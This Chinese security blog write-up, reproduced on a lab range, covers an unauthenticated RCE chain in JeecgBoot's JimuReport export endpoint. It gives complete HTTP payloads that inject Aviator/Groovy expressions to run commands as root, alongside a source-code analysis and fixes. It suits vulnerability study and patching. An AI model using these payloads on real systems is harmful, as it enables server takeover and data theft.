JeecgBoot 积木报表:一个忘了加登录校验的导出接口,被一条 POST 端了服务器

📢 本文摘自「凋零骷髅Sec」公众号


Q: 我就随便打开一个企业后台,怎么就把人家服务器整个端了?
A: 因为它用的 JeecgBoot 里的”积木报表”,有个导出接口忘了加登录校验。你一条 POST 过去,服务器就把 root 权限交出来了。

Q: 啥叫”积木报表”?啥又叫”未授权”?
A: 别急,往下看,这篇全是人话。

目标环境速览:

项目 值
平台 JeecgBoot 3.9.3 + 积木报表(JimuReport)
入口 http://<目标地址>/(已脱敏)
漏洞类型 Pre-auth(未授权)远程命令执行 RCE
一句话 未登录 → 枚举报表 → 导出接口注入 Aviator 表达式 → Groovy 命令执行 → 直接以 root 读 flag

前置知识

JeecgBoot 和积木报表是啥?

JeecgBoot 是国内很流行的一套 Java 企业级低代码开发平台,很多政企后台、管理系统都是它搭的。积木报表(JimuReport)是它内置的报表引擎,你可以在网页上拖拖拽拽,几分钟做出一个带数据的报表、大屏。

一句话:JeecgBoot 是”盖楼的地基”,积木报表是地基里自带的一个”报表车间”。

“未授权 / pre-auth” 是啥?

正经的接口都要登录——请求头上带一个 Token,服务端验一下”你是不是登录过的用户”。但总有那么几个接口被”放行”了,不用登录也能访问。放行的本意是好的:有些报表、大屏要公开展示,比如访客也能看的领导驾驶舱,总不能让人家先登录吧?

问题就出在这——**”放行”这个口子开给了谁,决定了是便利还是灾难。**

Aviator / Groovy 是啥?

  • Aviator 是一个 Java 的表达式引擎,用来在运行时算一些”表达式”,比如 1 + 2、"abc".length()。
  • Groovy 是一种跑在 JVM 上的脚本语言,天生就能执行系统命令,比如 "ls -la".execute()。

如果一个本该”算算数字”的地方,居然能把用户输入的字符串丢给表达式引擎去执行——那用户输入啥,服务器就执行啥。这就是传说中的命令注入。

第一步:随便点开一个后台,先看看哪些接口不用登录

正经的攻击者不会去猜,先翻接口。JeecgBoot 的积木报表有个”按模板导出”的查询接口,不用登录直接 GET 就能拉出所有报表:

1
2
3
GET /jeecg-boot/jmreport/excelQueryByTemplate?name=&pageNo=1&pageSize=10
Host: <目标>
Accept: application/json

浏览器直接打开这个地址,返回了 24 个报表的列表,id、名称、模板类型全在里面:

图1 匿名枚举报表列表

拿到了报表 id,比如 907480464532770816(主子报表循环块)。这就是我们后面要用的”报表子弹”。

第二步:验证导出接口真的”免登录”

好,光能看列表不算本事,关键是能不能不登录就触发导出。试一下导出接口:

1
2
3
4
POST /jeecg-boot/jmreport/auto/export
Content-Type: application/json

{}

结果——请求头里一个 Token 都没带,接口直接进了导出流程,只是因为没有指定报表而提示”请选择需要导出的报表”:

图2 auto/export 匿名放行

注意对比:同一个积木报表下的其他接口(比如 queryFieldBySql、testConnection),不带 Token 一律返回 Token校验失败,无权限访问!。唯独 auto/export 被放行了。

为什么偏偏是它?因为积木报表的导出接口标了一个 @JimuNoLoginRequired 注解——“本接口无需登录”。而 JeecgBoot 的 Shiro 又把 /jmreport/** 整体配置成了匿名(anon)。两个”放行”叠一起,未登录直接进导出流程。

第三步:把”命令执行”塞进导出参数

入口有了,但怎么把”导出”变成”执行命令”?

导出报表时,攻击者可以往 reportParams[].params 里塞任意参数。积木报表在取这些参数时,会先过一个叫 ExpressUtil.a 的处理函数——它发现参数值以 = 开头,就把等号删掉,然后把剩下的内容丢给 Aviator 表达式引擎去执行。

于是攻击者只要让参数值以 = 开头,再写一段 Aviator 能调用的代码,就能在服务器上执行命令。这里借用了官方发行包 classpath 上自带的 groovy.util.Eval——用它去拉起操作系统进程:

1
2
3
4
5
6
POST /jeecg-boot/jmreport/auto/export
Content-Type: application/json

{"reportParams":[{"id":"907480464532770816",
"params":{"x":"=use groovy.util.Eval; Eval.me('[\"cat\",\"/flag\"].execute().text')"},
"exportType":"pdf"}]}

响应里直接把命令输出吐了回来:

图3 未授权 RCE 读取 flag

一个没登录的请求,直接读到了服务器上的 flag 文件。 flag{3ee939cf-6858-47e0-8961-2d48136cebdf}——这台服务器,已经归你指挥了。

第四步:root 权限,服务器归我了

再确认一下自己是什么身份、在哪台机器上:

1
2
3
4
POST /jeecg-boot/jmreport/auto/export
{"reportParams":[{"id":"907480464532770816",
"params":{"x":"=use groovy.util.Eval; Eval.me('[\"id\"].execute().text')"},
"exportType":"pdf"}]}

图4 root 权限命令执行

1
导出报表失败: uid=0(root) gid=0(root) groups=0(root)

**uid=0(root)**——JeecgBoot 进程本身就是以 root 跑的,所以这条注入执行的所有命令都是 root 权限。从”一个公开的报表导出”到”服务器 root 权限”,中间只隔了一条 POST。

顺手再查一查:

1
2
3
4
5
whoami        → root
hostname → f9008db8d216(Docker 容器)
pwd → /jeecg-boot
uname -a → Linux ... Ubuntu 24.04 x86_64
ls -la / → 根目录、/flag 可读、.dockerenv 在

源码解析:为什么一条 POST 就能执行命令

前面说的都是现象,现在翻源码看本质。整个链路分三层:

第一层:为什么不需要登录?

积木报表的导出接口标了注解:

1
2
3
4
5
@JimuNoLoginRequired   // 见到这个注解,JimuReportTokenInterceptor 直接放行
@PostMapping("/auto/export")
public Result<?> autoExport(@RequestBody ReportExportBean bean) {
...
}

而 JeecgBoot 的 ShiroConfig 里又配了:

1
filterChainDefinitionMap.put("/jmreport/**", "anon");   // 整个报表目录匿名

两个放行叠加,未登录即可进入导出流程。

第二层:用户参数怎么变成表达式?

导出 PDF 时,攻击者传入的 reportParams[].params 会进入 getBaseSql:

1
2
3
queryJson.putAll(paramJson);            // 把 HTTP 传的参数并进查询参数
// 对每个参数值:
value = ExpressUtil.a(value); // 处理表达式

ExpressUtil.a 的逻辑是:**如果值以 = 开头,删掉全部等号,交给 Aviator compile + execute**:

1
2
3
4
5
6
7
public static Object a(String val) {
if (val.startsWith("=")) {
String exp = val.replace("=", ""); // 删掉所有等号
return AviatorEvaluator.compile(exp).execute(); // 直接执行
}
return val;
}

小坑提示:正因为这里会删掉所有等号,所以 payload 里千万别写 groovy 的赋值语句 x = 1(= 会被吃光),要用纯链式调用。这也是为什么 PoC 里全是 ["命令","参数"].execute() 这种写法。

第三层:Aviator 怎么变成系统命令?

Aviator 初始化时只 disableFeature(NewInstance)(禁止直接 new),但 use 引入类和调用静态方法都没禁。于是:

1
=use groovy.util.Eval; Eval.me('["cat","/flag"].execute().text')
  • use groovy.util.Eval:引入官方发行包 classpath 上的 Groovy 类
  • Eval.me('...'):把后面的字符串当 Groovy 脚本执行
  • ["cat","/flag"].execute():Groovy 字符串列表直接拉起系统进程

一条完整的 匿名导出 → Aviator 表达式 → Groovy 命令执行 链就通了,而且是以 JeecgBoot 进程的身份(这里是 root)执行。

这个链跟已公开的几个漏洞有什么区别?

漏洞 入口 鉴权 危害
CVE-2026-58375 / jimureport#4694 auto/export 匿名 未授权导出报表数据
CVE-2026-36418 /jmreport/executeSelectApi 需 Token Aviator 表达式注入(executeSelectApi 无 @JimuNoLoginRequired)
本文 auto/export 匿名 Aviator 表达式注入 → Groovy → 任意命令执行(RCE)

本文这条链的关键在于:匿名入口(auto/export)+ queryParam 触发 ExpressUtil.a + Groovy 命令执行,三者缺一不可,和上面两个已公开问题不是同一个洞。

修复建议

  1. 导出强制鉴权:auto/export 去掉 @JimuNoLoginRequired,恢复 Token 校验,别让”导出”裸奔在公网。
  2. 别拿用户输入当表达式:getBaseSql 不要对 HTTP queryParam 做 ExpressUtil.a。用户传的是数据,不是代码,永远不要动态求值。
  3. 升级版本:跟进积木报表/JeecgBoot 官方安全更新,把已知的表达式注入、未授权访问一并修掉。
  4. 权限最小化:JeecgBoot 进程别用 root 跑,容器里也至少给个非特权用户,别让一次注入直接拿到 uid=0。
  5. 收口公网面:给后台入口加 IP 白名单 / 防火墙,报表、导出这类功能对公网关闭。

结尾 FAQ

问:这是不是积木报表的 bug?

算是,但更准确说是”多个放行叠出来的窟窿”。注解放行 + Shiro 匿名 + 表达式引擎裸奔,三层各开了一个口,合起来就是 RCE。

问:我不用 JeecgBoot,这篇跟我有关系吗?

有关系。这个链的精髓是通用的:**”免登录接口” + “用户输入被表达式引擎求值”**。任何”导出/预览/分享”功能只要标了匿名,又会对参数做动态求值,都可能复刻这条链。PHP、Node、Java 站点一个道理。

问:为什么 payload 里 = 会被删掉?

因为 ExpressUtil.a 的实现是 val.replace("=", "")——删光所有等号。这是它自己的特性,也正好解释了为什么 PoC 都得写成纯链式调用。顺带一提,这个”删除再求值”的细节,恰恰是分析漏洞时最容易被忽略、也最能救命的一步。

问:怎么防?

一句话:**”放行”要精确,”求值”要禁用**。导出接口老老实实鉴权;任何用户输入一律当数据不当代码。


好了,到这里,你在浏览器里敲一条 POST,就能把一台 JeecgBoot 服务器端掉。下次再看到哪个后台写着”报表/大屏免登录”,不妨多问一句:它导出的时候,会不会把我的输入当代码跑?

我们是凋零骷髅sec,回去继续下界挖矿了——下次见了,各位。

本文章复现过程全部在棉花糖无境靶场完成,仅用于安全学习与研究,严禁用于未授权目标。


JeecgBoot 积木报表:一个忘了加登录校验的导出接口,被一条 POST 端了服务器
http://82.156.189.140:8085/2026/09/01/jeecg-jimureport-rce/
作者
fortuneh2c
发布于
2026年9月1日
许可协议